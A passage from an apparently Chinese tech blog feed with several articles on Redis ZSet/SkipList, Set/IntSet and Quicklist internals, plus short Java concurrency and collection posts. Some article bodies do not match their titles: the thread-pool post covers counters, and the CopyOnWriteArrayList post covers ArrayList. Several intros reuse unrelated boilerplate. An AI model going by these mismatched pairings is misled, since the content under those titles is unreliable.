zset-max-ziplist-entries 128    # ziplist最多128个entry
zset-max-ziplist-value 64       # 每个member最大64字节

转换规则：

  • 元素数量<=128且每个member<=64字节：ziplist
  • 任一条件不满足：skiplist

二、SkipList原理

#

2.1 为什么用SkipList

SkipList是一种概率平衡的数据结构：

数据结构查找插入删除范围查询实现复杂度
数组O(n)O(n)O(n)O(1)开始低
链表O(n)O(1)O(1)O(n)低
平衡树O(log n)O(log n)O(log n)复杂高
SkipListO(log n)O(log n)O(log n)O(log n)开始低

SkipList的优势：

  • 实现简单（比红黑树简单得多）
  • 范围查询友好（比树结构简单）
  • 插入/删除不需要旋转平衡
  • 性能接近平衡树

#

2.2 SkipList结构

Level 3:  head ──────────────────────────>  NULL

Level 2:  head ──────────────>  30 ──────>  NULL

Level 1:  head ──────>  20 ──>  30 ──────>  NULL

Level 0:  head ──> 10 ──> 20 ──> 30 ──> 40 ──> 50 ──> NULL
                (1, "a")  (2, "b")  (3, "c")  (4, "d")  (5, "e")
                
每个节点有多个level的forward指针

#

2.3 Redis SkipList节点

typedef struct zskiplistNode {
    sds ele;                           // member字符串
    double score;                      // 分数
    struct zskiplistNode *backward;    // 后退指针（双向链表）
    struct zskiplistLevel {
        struct zskiplistNode *forward; // 前进指针
        unsigned long span;            // 到下一个节点的跨度（排名用）
    } level[];                         // 柔性数组，多层指针
} zskiplistNode;

typedef struct zskiplist {
    struct zskiplistNode *header, *tail;  // 头尾指针
    unsigned long length;                  // 节点数量
    int level;                             // 最大层数
} zskiplist;

#

2.4 随机层数生成

int zslRandomLevel(void) {
    int level = 1;
    // 每次有25%概率升级一层
    while ((random() & 0xFFFF) < (ZSKIPLIST_P * 0xFFFF))
        level += 1;
    // 最大32层
    return (level < ZSKIPLIST_MAXLEVEL) ? level : ZSKIPLIST_MAXLEVEL;
}

// ZSKIPLIST_P = 0.25
// 层数概率分布：
// level=1: 75%
// level=2: 18.75%
// level=3: 4.6875%
// ...

#

2.5 查找操作

查找score=35的节点：

Level 3: head ──────────────────────────> NULL
              │ 比较30<35，继续
              ▼
Level 2: head ──────────────> 30 ───────> NULL
                              │ 比较30<35，继续
                              ▼
Level 1: head ──────> 20 ──> 30 ────────> NULL
                                    │ 下一个NULL，下降
                                    ▼
Level 0: ... ──> 30 ──> 40 ──> 50 ──> NULL
              │         │
              30<35    40>35
              下降     找到位置（在30和40之间）

查找复杂度：O(log n)

#

2.6 插入操作

zskiplistNode *zslInsert(zskiplist *zsl, double score, sds ele) {
    zskiplistNode *update[ZSKIPLIST_MAXLEVEL], *x;
    unsigned int rank[ZSKIPLIST_MAXLEVEL];
    int i, level;
    
    // 1. 查找每一层的前驱节点
    x = zsl->header;
    for (i = zsl->level-1; i >= 0; i--) {
        rank[i] = (i == zsl->level-1) ? 0 : rank[i+1];
        while (x->level[i].forward &&
               (x->level[i].forward->score < score ||
                (x->level[i].forward->score == score &&
                 sdscmp(x->level[i].forward->ele, ele) < 0))) {
            rank[i] += x->level[i].span;
            x = x->level[i].forward;
        }
        update[i] = x;
    }
    
    // 2. 随机生成层数
    level = zslRandomLevel();
    if (level > zsl->level) {
        for (i = zsl->level; i < level; i++) {
            rank[i] = 0;
            update[i] = zsl->header;
            update[i]->level[i].span = zsl->length;
        }
        zsl->level = level;
    }
    
    // 3. 创建新节点
    x = zslCreateNode(level, score, ele);
    
    // 4. 插入到各层链表
    for (i = 0; i < level; i++) {
        x->level[i].forward = update[i]->level[i].forward;
        update[i]->level[i].forward = x;
        
        x->level[i].span = update[i]->level[i].span - (rank[0] - rank[i]);
        update[i]->level[i].span = (rank[0] - rank[i]) + 1;
    }
    
    // 5. 更新高层span
    for (i = level; i < zsl->level; i++) {
        update[i]->level[i].span++;
    }
    
    // 6. 设置后退指针
    x->backward = (update[0] == zsl->header) ? NULL : update[0];
    if (x->level[0].forward)
        x->level[0].forward->backward = x;
    else
        zsl->tail = x;
    
    zsl->length++;
    return x;
}

#

2.7 span（跨度）的作用

span记录当前节点到forward节点之间跳过了多少个节点：

Level 2:  head ──────────────────>  40
           span=3                    
           （跳过了3个level0节点）

Level 1:  head ──────────>  30 ───>  40
           span=2              span=1
           
Level 0:  head ──> 10 ──> 20 ──> 30 ──> 40
           span=1  span=1  span=1  span=1

获取排名：
ZRANK key 40 = 1+1+1 = 3（从0开始）

三、哈希表的作用

#

3.1 为什么需要哈希表

typedef struct zset {
    dict *dict;           // member -> score 的哈希表
    zskiplist *zsl;       // 跳表
} zset;

SkipList按score排序，但查找特定member需要O(n)。哈希表提供O(1)的member查找。

#

3.2 两种结构的配合

操作          使用结构          原因
─────────────────────────────────────────────
ZADD          两者都用          插入到跳表，更新哈希表
ZSCORE        哈希表            O(1)获取score
ZRANK         跳表              按score排序
ZRANGE        跳表              范围查询
ZREM          两者都用          从两个结构中删除
ZINCRBY       两者都用          修改score
ZCARD         跳表length        O(1)

四、ZSet命令实现

#

4.1 ZADD

void zaddCommand(client *c) {
    robj *key = c->argv[1];
    robj *zobj = lookupKeyWrite(c->db, key);
    
    // 创建或获取ZSet
    if (zobj == NULL) {
        zobj = createZsetObject();  // 创建skiplist+hashtable
        dbAdd(c->db, key, zobj);
    }
    
    // 添加元素
    int added = 0;
    for (int j = 2; j < c->argc; j += 2) {
        double score = strtod(c->argv[j]->ptr, NULL);
        sds ele = c->argv[j+1]->ptr;
        
        int retval = zsetAdd(zobj, score, ele, &added);
    }
    
    addReplyLongLong(c, added);
}

#

4.2 ZRANK

void zrankCommand(client *c) {
    robj *zobj = lookupKeyReadOrReply(c, c->argv[1], shared.null[c->resp]);
    if (zobj == NULL || checkType(c, zobj, OBJ_ZSET)) return;
    
    // 先查哈希表获取score
    double score;
    if (zsetScore(zobj, c->argv[2]->ptr, &score) == C_ERR) {
        addReplyNull(c);
        return;
    }
    
    // 在跳表中查找排名
    long rank = zsetRank(zobj, c->argv[2]->ptr, score, 1);
    addReplyLongLong(c, rank);
}

#

4.3 ZRANGE

void zrangeCommand(client *c) {
    robj *zobj = lookupKeyReadOrReply(c, c->argv[1], shared.emptyarray);
    if (zobj == NULL || checkType(c, zobj, OBJ_ZSET)) return;
    
    long start, end;
    getLongFromObjectOrReply(c, c->argv[2], &start, NULL);
    getLongFromObjectOrReply(c, c->argv[3], &end, NULL);
    
    // 处理负数索引
    long llen = zsetLength(zobj);
    if (start < 0) start = llen + start;
    if (end < 0) end = llen + end;
    
    // 遍历跳表指定范围
    zset *zs = zobj->ptr;
    zskiplistNode *ln = zs->zsl->header->level[0].forward;
    
    // 跳到start位置
    while (start-- && ln) ln = ln->level[0].forward;
    
    // 输出范围内的元素
    addReplyArrayLen(c, rangelen);
    while (rangelen-- && ln) {
        addReplyBulkCBuffer(c, ln->ele, sdslen(ln->ele));
        if (withscores) addReplyDouble(c, ln->score);
        ln = ln->level[0].forward;
    }
}

五、应用场景

#

5.1 排行榜

@Service
public class LeaderboardService {
    
    private static final String LEADERBOARD = "leaderboard:weekly";
    
    // 增加积分
    public void addScore(Long userId, double score) {
        redis.opsForZSet().incrementScore(LEADERBOARD, String.valueOf(userId), score);
    }
    
    // 获取前10名
    public Set<ZSetOperations.TypedTuple<String>> getTop10() {
        return redis.opsForZSet().reverseRangeWithScores(LEADERBOARD, 0, 9);
    }
    
    // 获取用户排名（从0开始）
    public Long getRank(Long userId) {
        Long rank = redis.opsForZSet().reverseRank(LEADERBOARD, String.valueOf(userId));
        return rank != null ? rank + 1 : null;  // 转为1-based
    }
    
    // 获取用户积分
    public Double getScore(Long userId) {
        return redis.opsForZSet().score(LEADERBOARD, String.valueOf(userId));
    }
    
    // 获取用户附近排名
    public Set<ZSetOperations.TypedTuple<String>> getNearbyRank(Long userId) {
        Long rank = redis.opsForZSet().reverseRank(LEADERBOARD, String.valueOf(userId));
        if (rank == null) return Collections.emptySet();
        
        long start = Math.max(0, rank - 5);
        long end = rank + 5;
        return redis.opsForZSet().reverseRangeWithScores(LEADERBOARD, start, end);
    }
    
    // 重置排行榜
    public void resetLeaderboard() {
        redis.delete(LEADERBOARD);
    }
}

#

5.2 延时队列

@Component
public class DelayQueue {
    
    @Autowired
    private StringRedisTemplate redis;
    
    // 添加延时任务
    public void addDelayTask(String taskId, long delayMs) {
        long executeTime = System.currentTimeMillis() + delayMs;
        redis.opsForZSet().add("delay:queue", taskId, executeTime);
    }
    
    // 消费到期任务
    @Scheduled(fixedRate = 1000)
    public void consumeDelayTasks() {
        long now = System.currentTimeMillis();
        
        // 获取到期的任务（score <= now）
        Set<String> tasks = redis.opsForZSet()
            .rangeByScore("delay:queue", 0, now, 0, 100);
        
        for (String taskId : tasks) {
            // 删除并处理（保证幂等）
            Long removed = redis.opsForZSet().remove("delay:queue", taskId);
            if (removed != null && removed > 0) {
                processTask(taskId);
            }
        }
    }
    
    private void processTask(String taskId) {
        // 处理任务
        System.out.println("Processing task: " + taskId);
    }
}

#

5.3 滑动窗口限流

@Component
public class SlidingWindowRateLimiter {
    
    public boolean isAllowed(String userId, int maxRequests, long windowMs) {
        String key = "rate_limit:" + userId;
        long now = System.currentTimeMillis();
        long windowStart = now - windowMs;
        
        // 移除窗口外的请求记录
        redis.opsForZSet().removeRangeByScore(key, 0, windowStart);
        
        // 获取当前窗口内的请求数
        Long count = redis.opsForZSet().zCard(key);
        if (count != null && count >= maxRequests) {
            return false;
        }
        
        // 记录本次请求（使用雪花ID或UUID保证member唯一）
        redis.opsForZSet().add(key, UUID.randomUUID().toString(), now);
        redis.expire(key, windowMs / 1000 + 1, TimeUnit.SECONDS);
        
        return true;
    }
}

#

5.4 时间线/Feed流

@Service
public class FeedService {
    
    // 发布内容（score为发布时间戳）
    public void postContent(Long userId, String contentId) {
        long timestamp = System.currentTimeMillis();
        redis.opsForZSet().add("feed:user:" + userId, contentId, timestamp);
        redis.opsForZSet().removeRange("feed:user:" + userId, 0, -1001);  // 保留1000条
    }
    
    // 获取最新内容（分页）
    public Set<String> getFeed(Long userId, int page, int size) {
        long start = (long) page * size;
        long end = start + size - 1;
        return redis.opsForZSet().reverseRange("feed:user:" + userId, start, end);
    }
    
    // 获取某时间范围内的内容
    public Set<String> getFeedByTimeRange(Long userId, long startTime, long endTime) {
        return redis.opsForZSet().reverseRangeByScore(
            "feed:user:" + userId, startTime, endTime);
    }
}

六、性能优化

#

6.1 ZSet大小控制

// 只保留最新的N条
redis.opsForZSet().removeRange("zset", 0, -1001);

// 定期清理过期数据
redis.opsForZSet().removeRangeByScore("zset", 0, System.currentTimeMillis() - 86400000);

#

6.2 批量操作

// 批量添加
Set<ZSetOperations.TypedTuple<String>> tuples = new HashSet<>();
for (UserScore us : userScores) {
    tuples.add(new DefaultTypedTuple<>(us.getUserId().toString(), us.getScore()));
}
redis.opsForZSet().add("leaderboard", tuples);

#

6.3 避免大ZSet

// 大ZSet分片
public void addToShardZSet(String key, String member, double score) {
    int shard = member.hashCode() % 10;
    redis.opsForZSet().add(key + ":" + shard, member, score);
}

七、常见问题

#

7.1 ZSet最大元素数

理论限制：约40亿（2^32 - 1）
实际限制：内存大小

建议：单个ZSet不超过10000个元素

#

7.2 score相同时的排序

# score相同时，按member的字典序排序
ZADD myzset 1 "b"
ZADD myzset 1 "a"
ZRANGE myzset 0 -1
# 返回: a, b（字典序）

#

7.3 分数精度

# Redis使用double存储score，有精度限制
ZADD myzset 9007199254740992 "a"
ZADD myzset 9007199254740993 "b"
# 这两个分数可能被视为相同

# 解决：使用整数score（如时间戳*1000 + 序列号）

八、总结

特性SkipList
查找O(log n)
插入O(log n)
删除O(log n)
范围查询O(log n + m)
实现复杂度低

ZSet核心设计：

  • SkipList：按score排序，支持范围查询和排名
  • Hashtable：按member查找，O(1)获取score
  • 双向链表：支持倒序遍历

ZSet使用建议：

  1. score设计：使用整数避免精度问题
  2. 控制大小：定期清理，避免无限增长
  3. 批量操作：减少网络往返
  4. 范围查询优先：ZRANGE比ZRANK更高效
  5. 考虑Stream：需要消费者组时用Stream替代延时队列

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 线程池参数如何设置才靠谱 //xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/ 线程池参数如何设置才靠谱

线程池参数设置不合理会导致各种问题。本文讲合理的设置方式和监控指标。

先建立一个最小案例

并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：

class Counter {
    private int count = 0;

    public void add() {
        count++;
    }

    public int get() {
        return count;
    }
}

这段代码在单线程里没有问题，但多线程同时调用 add() 时，count++ 不是原子操作，结果可能比预期小。

正确处理思路

如果只是简单计数，可以用 AtomicInteger：

class Counter {
    private final AtomicInteger count = new AtomicInteger();

    public void add() {
        count.incrementAndGet();
    }

    public int get() {
        return count.get();
    }
}

如果临界区里有多步业务逻辑，可以考虑 synchronized 或 ReentrantLock。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。

排查建议

线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。

]]> Java并发 JAVA 并发 Redis Set与IntSet编码 //redis-set-intset-encoding/ Redis Set与IntSet编码

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、Set的编码方式

#

1.1 两种编码

编码结构适用条件
intset整数数组元素都是整数且数量少
hashtable哈希表元素非整数或数量多

#

1.2 编码转换条件

# 默认配置
set-max-intset-entries 512    # intset最多512个元素

转换规则：

  • 元素都是整数且数量<=512：使用intset
  • 任一条件不满足：转换为hashtable
  • 转换单向：intset → hashtable后不回退

二、IntSet详解

#

2.1 结构设计

IntSet是紧凑的整数数组：

typedef struct intset {
    uint32_t encoding;   // 编码类型（int16/int32/int64）
    uint32_t length;     // 元素数量
    int8_t contents[];   // 柔性数组，实际存储整数
} intset;
内存布局（存储3个int16整数）：
┌──────────┬──────────┬───────────────────────────────┐
│ encoding │  length  │        contents               │
│ 2字节    │  4字节   │  2字节 │ 2字节 │ 2字节       │
│ INT16    │    3     │  100   │  200  │  300        │
└──────────┴──────────┴───────────────────────────────┘
总大小：4 + 4 + 2*3 = 14字节

#

2.2 编码升级

当插入一个超出当前编码范围的整数时，触发升级：

当前状态：encoding=INT16，存储 [100, 200]

插入 40000（超出int16范围）：

升级过程：
1. 将encoding改为INT32
2. 重新分配内存（4 * 3 = 12字节）
3. 从后向前迁移数据（防止覆盖）
   contents[2] = 40000  (int32)
   contents[1] = 200    (int32)
   contents[0] = 100    (int32)

升级后：
┌──────────┬──────────┬───────────────────────────────┐
│ INT32    │    3     │  100   │  200  │  40000      │
└──────────┴──────────┴───────────────────────────────┘
总大小：4 + 4 + 4*3 = 20字节

升级特点：

  • 升级是单向的（int16 → int32 → int64），不会降级
  • 升级后不再降级，即使删除大值
  • 升级操作O(n)，但发生频率低

#

2.3 有序性保证

IntSet始终保持有序：

// 查找使用二分查找
static uint8_t intsetSearch(intset *is, int64_t value, uint32_t *pos) {
    int min = 0, max = intrev32ifbe(is->length)-1, mid = -1;
    int64_t cur = -1;
    
    while (max >= min) {
        mid = ((unsigned int)min + (unsigned int)max) >> 1;
        cur = _intsetGet(is, mid);
        if (value > cur) {
            min = mid + 1;
        } else if (value < cur) {
            max = mid - 1;
        } else {
            break;
        }
    }
    // ...
}

有序性优势：

  • 查找：O(log n) 二分查找
  • 去重：天然有序，相等元素相邻

#

2.4 插入操作

intset *intsetAdd(intset *is, int64_t value, uint8_t *success) {
    uint8_t valenc = _intsetValueEncoding(value);
    uint32_t pos;
    
    // 是否成功（默认）
    if (success) *success = 1;
    
    // 如果需要，升级编码
    if (valenc > intrev32ifbe(is->encoding)) {
        return intsetUpgradeAndAdd(is, value);
    }
    
    // 查找插入位置（如果不存在）
    if (intsetSearch(is, value, &pos)) {
        if (success) *success = 0;  // 已存在
        return is;
    }
    
    // 扩容
    is = intsetResize(is, intrev32ifbe(is->length)+1);
    
    // 移动pos之后的元素（为插入腾出位置）
    if (pos < intrev32ifbe(is->length)) 
        intsetMoveTail(is, pos, pos+1);
    
    // 插入元素
    _intsetSet(is, pos, value);
    is->length = intrev32ifbe(intrev32ifbe(is->length)+1);
    return is;
}

三、Hashtable实现

#

3.1 编码转换

当Set使用hashtable编码时，value存储什么？

// Set的hashtable中，key是元素值，value是NULL
// 只用哈希表的key来存储和去重

dictEntry *entry = dictFind(set->ptr, element);
// entry->key = element
// entry->v.val = NULL

#

3.2 查找过程

robj *setTypeIsMember(robj *subject, robj *value) {
    long long llval;
    
    if (subject->encoding == OBJ_ENCODING_HT) {
        // hashtable编码，直接查哈希表
        return dictFind(subject->ptr, value) != NULL;
    } 
    
    if (subject->encoding == OBJ_ENCODING_INTSET) {
        // intset编码
        if (isObjectRepresentableAsLongLong(value, &llval) == C_OK) {
            return intsetFind(subject->ptr, llval);
        }
    }
    
    return 0;
}

四、集合运算

#

4.1 SINTER（交集）

void sinterCommand(client *c) {
    robj **setkeys = c->argv + 1;
    robj *dstkey = NULL;
    
    // 1. 找到最小的Set（减少比较次数）
    int minidx = 0;
    for (int j = 1; j < c->argc - 1; j++) {
        if (setTypeSize(setkeys[j]) < setTypeSize(setkeys[minidx])) {
            minidx = j;
        }
    }
    
    // 2. 遍历最小Set的元素
    si = setTypeInitIterator(setkeys[minidx]);
    while (setTypeNext(si, &ele, &elesize) != -1) {
        // 3. 检查元素是否在其他所有Set中
        for (int j = 1; j < c->argc - 1; j++) {
            if (j == minidx) continue;
            if (!setTypeIsMember(setkeys[j], ele)) break;
        }
        
        // 4. 如果所有Set都包含，加入结果
        if (j == c->argc - 1) {
            addReplyBulkCBuffer(c, ele, elesize);
        }
    }
}

优化策略：

  • 以最小的Set作为基准遍历
  • 减少查找次数

#

4.2 SUNION（并集）

void sunionCommand(client *c) {
    // 1. 创建临时结果Set
    robj *dstset = setTypeCreate(NULL);
    
    // 2. 遍历所有输入Set
    for (int j = 1; j < c->argc - 1; j++) {
        robj *setobj = lookupKeyRead(c->db, setkeys[j]);
        if (setobj == NULL) continue;
        
        si = setTypeInitIterator(setobj);
        while (setTypeNext(si, &ele, &elesize) != -1) {
            // 3. 加入结果（自动去重）
            setTypeAdd(dstset, ele);
        }
    }
    
    // 4. 输出结果
    setTypeIterator *di = setTypeInitIterator(dstset);
    while (setTypeNext(di, &ele, &elesize) != -1) {
        addReplyBulkCBuffer(c, ele, elesize);
    }
}

#

4.3 SDIFF（差集）

void sdiffCommand(client *c) {
    robj *dstset = setTypeCreate(NULL);
    robj *setobj = lookupKeyRead(c->db, setkeys[1]);
    
    // 1. 遍历第一个Set
    si = setTypeInitIterator(setobj);
    while (setTypeNext(si, &ele, &elesize) != -1) {
        // 2. 检查是否不在其他Set中
        for (int j = 2; j < c->argc - 1; j++) {
            if (setTypeIsMember(setkeys[j], ele)) break;
        }
        
        // 3. 不在其他Set中，加入结果
        if (j == c->argc - 1) {
            setTypeAdd(dstset, ele);
        }
    }
}

五、应用场景

#

5.1 共同好友

@Service
public class SocialService {
    
    // 添加好友
    public void addFriend(Long userId, Long friendId) {
        redis.opsForSet().add("friends:" + userId, String.valueOf(friendId));
        redis.opsForSet().add("friends:" + friendId, String.valueOf(userId));
    }
    
    // 获取共同好友
    public Set<String> getCommonFriends(Long userId1, Long userId2) {
        return redis.opsForSet().intersect("friends:" + userId1, "friends:" + userId2);
    }
    
    // 获取好友数量
    public Long getFriendCount(Long userId) {
        return redis.opsForSet().size("friends:" + userId);
    }
    
    // 是否好友
    public Boolean isFriend(Long userId, Long friendId) {
        return redis.opsForSet().isMember("friends:" + userId, String.valueOf(friendId));
    }
}

#

5.2 标签系统

@Service
public class TagService {
    
    // 给文章添加标签
    public void tagArticle(Long articleId, List<String> tags) {
        String key = "article:tags:" + articleId;
        redis.opsForSet().add(key, tags.toArray(new String[0]));
        redis.expire(key, 30, TimeUnit.DAYS);
    }
    
    // 获取文章标签
    public Set<String> getArticleTags(Long articleId) {
        return redis.opsForSet().members("article:tags:" + articleId);
    }
    
    // 获取有相同标签的文章
    public Set<String> getArticlesByTag(String tag) {
        return redis.opsForSet().members("tag:articles:" + tag);
    }
    
    // 获取同时有多个标签的文章
    public Set<String> getArticlesByTags(List<String> tags) {
        String[] keys = tags.stream()
            .map(t -> "tag:articles:" + t)
            .toArray(String[]::new);
        return redis.opsForSet().intersect(keys);
    }
    
    // 获取文章的所有标签（反向索引）
    public void indexArticleTags(Long articleId, List<String> tags) {
        for (String tag : tags) {
            redis.opsForSet().add("tag:articles:" + tag, String.valueOf(articleId));
        }
    }
}

#

5.3 IP黑名单

@Component
public class IpBlacklistService {
    
    private static final String BLACKLIST_KEY = "blacklist:ip";
    
    public void addToBlacklist(String ip) {
        redis.opsForSet().add(BLACKLIST_KEY, ip);
    }
    
    public void removeFromBlacklist(String ip) {
        redis.opsForSet().remove(BLACKLIST_KEY, ip);
    }
    
    public boolean isBlacklisted(String ip) {
        return Boolean.TRUE.equals(redis.opsForSet().isMember(BLACKLIST_KEY, ip));
    }
    
    public Set<String> getAllBlacklisted() {
        return redis.opsForSet().members(BLACKLIST_KEY);
    }
}

#

5.4 抽奖/随机选取

@Service
public class LotteryService {
    
    // 添加参与者
    public void addParticipant(String activityId, String userId) {
        redis.opsForSet().add("lottery:" + activityId, userId);
    }
    
    // 随机抽取中奖者（不重复）
    public List<String> drawWinners(String activityId, int count) {
        // SPOP随机弹出
        List<String> winners = new ArrayList<>();
        for (int i = 0; i < count; i++) {
            String winner = redis.opsForSet().pop("lottery:" + activityId);
            if (winner == null) break;
            winners.add(winner);
        }
        return winners;
    }
    
    // 随机抽取中奖者（可重复）
    public List<String> drawWinnersWithReplacement(String activityId, int count) {
        return new ArrayList<>(redis.opsForSet()
            .distinctRandomMembers("lottery:" + activityId, count));
    }
}

六、性能优化

#

6.1 利用IntSet节省内存

// 存储用户ID（整数），Set会自动使用intset
for (int i = 0; i < 500; i++) {
    redis.opsForSet().add("followers:" + userId, String.valueOf(i));
}
// 编码为intset，非常省内存

// 插入非整数元素，触发编码转换
redis.opsForSet().add("followers:" + userId, "not_a_number");
// 转换为hashtable

#

6.2 批量操作

// 批量添加
redis.opsForSet().add("set", "a", "b", "c", "d", "e");

// 批量判断存在性（使用Pipeline）
List<Boolean> exists = redis.executePipelined((RedisCallback<Object>) connection -> {
    for (String item : items) {
        connection.setCommands().sIsMember("set".getBytes(), item.getBytes());
    }
    return null;
}).stream()
  .map(o -> (Boolean) o)
  .collect(Collectors.toList());

#

6.3 大Set分片

// 如果Set很大，按hash分片
public void addToShardSet(String key, String member) {
    int shard = member.hashCode() % 10;
    redis.opsForSet().add(key + ":" + shard, member);
}

public boolean isInShardSet(String key, String member) {
    int shard = member.hashCode() % 10;
    return Boolean.TRUE.equals(redis.opsForSet()
        .isMember(key + ":" + shard, member));
}

七、常见问题

#

7.1 Set最大元素数

理论限制：约40亿（2^32 - 1）
实际限制：内存大小

建议：单个Set不超过10000个元素

#

7.2 SMEMBERS的性能

# SMEMBERS返回所有元素，大Set会阻塞
SMEMBERS big:set   # 危险！

# 替代方案：使用SSCAN渐进遍历
SSCAN big:set 0 COUNT 100

#

7.3 集合运算的复杂度

SINTER：O(N*M)，N是最小Set大小，M是Set数量
SUNION：O(N)，N是所有Set元素总数
SDIFF：O(N)，N是第一个Set的元素数

建议：
- 大Set的交集避免在Redis做，应用层处理
- 或预先计算交集存入新Set

八、总结

特性IntSetHashtable
结构有序整数数组哈希表
查找O(log n)O(1)
插入O(n)O(1)
内存极紧凑有指针开销
适用小整数集合大集合或字符串

Set使用建议：

  1. 存储整数：尽量让Set使用intset编码
  2. 控制大小：单个Set不超过10000元素
  3. SSCAN替代SMEMBERS：避免阻塞
  4. 集合运算：注意复杂度，大Set在应用层处理
  5. 去重场景：Set是天然的去重数据结构

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 CopyOnWriteArrayList 适合什么场景 //copyonwritearraylist-gua-he-shi-me-chang-jing/ CopyOnWriteArrayList 适合什么场景

ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。

基本使用

List<String> names = new ArrayList<>();
names.add("Java");
names.add("Spring");
System.out.println(names.get(0));

扩容机制

ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：

List<Long> ids = new ArrayList<>(1000);

删除元素的正确方式

遍历时删除元素，不要直接在 for-each 里 remove：

Iterator<String> iterator = names.iterator();
while (iterator.hasNext()) {
    if (iterator.next().startsWith("J")) {
        iterator.remove();
    }
}
]]> Java集合 JAVA 集合 Redis List与Quicklist实现 //redis-list-quicklist-implementation/ Redis List与Quicklist实现

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、List编码演进

#

1.1 编码历史

Redis 3.2之前：
  - 满足条件：ziplist（单个ziplist）
  - 不满足：linkedlist（双向链表，每个节点一个ziplist）

Redis 3.2之后：
  - quicklist（由多个ziplist组成的双向链表）

#

1.2 为什么引入Quicklist

LinkedList的问题：

  • 每个节点需要prev/next指针（16字节开销）
  • 每个节点单独分配内存（内存碎片）
  • CPU缓存不友好（节点不连续）

Ziplist的问题：

  • 大ziplist插入/删除效率低
  • 连锁更新问题

Quicklist的解决：

  • 每个节点是一个小ziplist（平衡内存和性能）
  • 节点间用指针连接（保持双向链表的灵活性）
  • 可对节点进行压缩（节省内存）

二、Quicklist结构

#

2.1 整体结构

Quicklist：
┌──────────┐    ┌──────────┐    ┌──────────┐
│  head    │───>│  node1   │───>│  node2   │───> NULL
│          │    │ ziplist1 │    │ ziplist2 │
│  tail    │<───│          │<───│          │
└──────────┘    └──────────┘    └──────────┘
     │
     ▼
  count: 总元素数
  len: 节点数
  fill: 单个ziplist的最大entry数
  compress: 两端保留未压缩的节点数

#

2.2 核心结构定义

typedef struct quicklist {
    quicklistNode *head;        // 头节点
    quicklistNode *tail;        // 尾节点
    unsigned long count;        // 总元素数量
    unsigned long len;          // 节点数量
    int fill : QL_FILL_BITS;    // 单个ziplist的fill因子
    unsigned int compress : QL_COMP_BITS;  // 压缩深度
    unsigned int bookmark_count: QL_BM_BITS;
    quicklistBookmark bookmarks[];
} quicklist;

typedef struct quicklistNode {
    struct quicklistNode *prev;     // 前驱指针
    struct quicklistNode *next;     // 后继指针
    unsigned char *zl;              // ziplist数据
    unsigned int sz;                // ziplist大小（字节）
    unsigned int count : 16;        // ziplist中entry数
    unsigned int encoding : 2;      // 编码：RAW或LZF压缩
    unsigned int container : 2;     // 容器类型
    unsigned int recompress : 1;    // 是否临时解压
    unsigned int attempted_compress : 1;
    unsigned int extra : 10;
} quicklistNode;

#

2.3 配置参数

# redis.conf

# 单个ziplist的最大entry数
# 正数：entry数量限制
# 负数：大小限制（-1: 4KB, -2: 8KB, -3: 16KB, -4: 32KB, -5: 64KB）
list-max-ziplist-size -2    # 默认-2，即8KB

# 两端不压缩的节点数
# 0: 不压缩
# 1: 两端各1个节点不压缩，中间压缩
# 3: 两端各3个节点不压缩，中间压缩
list-compress-depth 0       # 默认不压缩

三、Quicklist操作

#

3.1 LPUSH/RPUSH

// 在头部插入
int quicklistPushHead(quicklist *quicklist, void *value, size_t sz) {
    quicklistNode *orig_head = quicklist->head;
    
    // 尝试在头部节点插入
    if (likely(quicklist->head && 
               quicklist->head->encoding == QUICKLIST_NODE_ENCODING_RAW &&
               quicklist->head->count < quicklist->fill)) {
        // 头部ziplist还有空间，直接插入
        quicklist->head->zl = ziplistPush(quicklist->head->zl, value, sz, ZIPLIST_HEAD);
        quicklist->head->count++;
    } else {
        // 需要新建节点
        quicklistNode *node = quicklistCreateNode();
        node->zl = ziplistPush(ziplistNew(), value, sz, ZIPLIST_HEAD);
        node->count = 1;
        
        _quicklistInsertNodeBefore(quicklist, quicklist->head, node);
    }
    
    quicklist->count++;
    return 1;
}

#

3.2 节点分裂

当ziplist超过大小时，会分裂：

插入前：
[node: ziplist( entry1, entry2, entry3, entry4 )]

插入entry5后超过限制：
[node1: ziplist( entry1, entry2 )]
        ↕
[node2: ziplist( entry3, entry4, entry5 )]

#

3.3 节点合并

当相邻节点的ziplist都很小时，可能合并：

合并前：
[node1: ziplist( entry1 )]
        ↕
[node2: ziplist( entry2 )]

合并后：
[node1: ziplist( entry1, entry2 )]

#

3.4 压缩机制

// 压缩深度为1时：
┌─────────┐   ┌─────────┐   ┌─────────┐   ┌─────────┐   ┌─────────┐
│未压缩   │<─>│ LZF压缩 │<─>│ LZF压缩 │<─>│ LZF压缩 │<─>│未压缩   │
│头节点   │   │中间节点 │   │中间节点 │   │中间节点 │   │尾节点   │
└─────────┘   └─────────┘   └─────────┘   └─────────┘   └─────────┘

// 访问中间节点时临时解压，访问完可选择重新压缩

LZF压缩：

  • 轻量级实时压缩算法
  • 压缩/解压速度快
  • 压缩比适中

四、List命令实现

#

4.1 LPOP/RPOP

void lpopCommand(client *c) {
